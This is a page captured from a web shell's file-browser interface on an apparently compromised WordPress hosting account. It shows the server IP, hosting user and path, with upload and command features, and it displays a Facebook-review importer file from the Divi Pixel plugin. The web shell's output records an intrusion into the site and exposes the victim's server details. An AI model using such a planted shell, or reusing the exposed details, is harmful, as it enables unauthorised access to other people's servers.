403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/divi-pixel/includes/modules/Testimonial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/divi-pixel/includes/modules/Testimonial/facebook-review.php
<?php

class Dipi_Facebook_Review
{

    private $page_id;
    private $access_token;

    public function __construct($config)
    {

        if (is_array($config)) {
            $this->set_access_token($config['access_token']);
            $this->set_page_id($config['page_id']);
        }
    }

    public function set_access_token($access_token)
    {
        $this->access_token = $access_token;
    }

    public function get_access_token()
    {
        return $this->access_token;
    }

    public function set_page_id($page_id)
    {
        $this->page_id = $page_id;
    }

    public function get_page_id()
    {
        return $this->page_id;
    }

    protected function remote_request($url)
    {

        $url = esc_url_raw($url);

        if (empty($url)) {
            return false;
        }

        $request = wp_safe_remote_request($url);

        if (is_wp_error($request)) {
            echo $request->get_error_message();
            return false;
        }

        $data = json_decode($request['body']);

        if ($request['response']['code'] == 200) {
            return $data;
        } else {
            print_r($request['response']['code']);
        }

        if (isset($data->error)) {
            print_r($data->error);
        }

        return false;
    }

    public function save_reviews()
    {

        $url = "https://graph.facebook.com/" . $this->get_page_id() . "?access_token=" . $this->get_access_token() . "&fields=ratings.limit(9999)";

        $response = $this->remote_request($url);

        if (isset($response->ratings) && !empty($response->ratings)) {

            $reviews = $response->ratings->data;

            if (count($reviews) > 0) {

                $stats = [];

                $numreturned = count($reviews);

                foreach ($reviews as $review) {

                    if (empty($review->review_text)) {
                        continue;
                    }

                    $reviewer_photo = $review->reviewer->name;
                    $reviewer_name = $review->reviewer->name;
                    $reviewer_id = $review->reviewer->id;
                    $review_text = $review->review_text;

                    $userdata = [
                        'role' => 'author',
                        'user_login' => 'bot@divi_pixel_com',
                        'user_pass'    => NULL
                    ];

                    $author_id = wp_insert_user($userdata);

                    global $post, $wpdb;

                    $sql = "SELECT post_id 
                            FROM {$wpdb->postmeta} pm 
                            JOIN {$wpdb->posts} p 
                            ON p.ID = pm.post_id 
                                AND post_status = 'publish' 
                                AND post_type = 'dipi_testimonial'
                            WHERE meta_key = 'facebook_id' 
                            AND meta_value != {$reviewer_id}
                            AND post_id != %d
                            ORDER BY RAND() 
                            LIMIT 1";

                    $sql = $wpdb->prepare($sql, $post->ID);

                    $checkid = $wpdb->get_var($sql);

                    if (empty($checkid)) {
                        $stats[] = [
                            'post_title' => $reviewer_name,
                            'post_content' => wp_kses_post($review_text),
                            'post_type' => 'dipi_testimonial',
                            'post_status' => 'publish',
                            'post_author' => $author_id,
                            'meta_input' => [
                                'profile_image' => '',
                                'testimonial_name' => esc_attr($reviewer_name),
                                'testimonial_star' => '5',
                                'testimonial_type' => 'facebook',
                                'facebook_id' => esc_attr(esc_attr($reviewer_id))
                            ]
                        ];
                    }
                }

                $i = 0;
                $insertnum = 0;
                foreach ($stats as $stat) {
                    $insertnum = wp_insert_post($stat);
                    $i = $i + 1;
                }

                $msg = sprintf(
                    __('%1$s Facebook Reviews Returned from API. %2$s New Reviews Saved.', 'dipi-divi-pixel'),
                    $numreturned,
                    $i
                );

                echo $msg;

                return;
            }
        }
    }

    public function getFirstPara($content) {
        $content = html_entity_decode(strip_tags($content));
        $pos = strpos($content, '.');
        if ($pos === false) {
            return $content;
        } else {
            return substr($content, 0, $pos + 1);
        }
    }

}



// Scheduled Action Hook
add_action('dipi_save_facebook_reviews_hook', 'dipi_save_facebook_reviews_hook');
function dipi_save_facebook_reviews_hook()
{
    $dipi_facebook_page_id = get_option('dipi_facebook_page_id');
    $dipi_facebook_page_access_token = get_option('dipi_facebook_page_access_token');

    $f_api = new Dipi_Facebook_Review([
        'page_id' => $dipi_facebook_page_id,
        'access_token' => $dipi_facebook_page_access_token
    ]);

    $f_api->save_reviews();
}

// Schedule Cron Job Event
function dipi_facebook_schedule_cron_job()
{
    if (!wp_next_scheduled('dipi_save_facebook_reviews_hook')) {
        wp_schedule_event(time(), 'twicedaily', 'dipi_save_facebook_reviews_hook');
    }
}
add_action('wp', 'dipi_facebook_schedule_cron_job');

Youez - 2016 - github.com/yon3zu
LinuXploit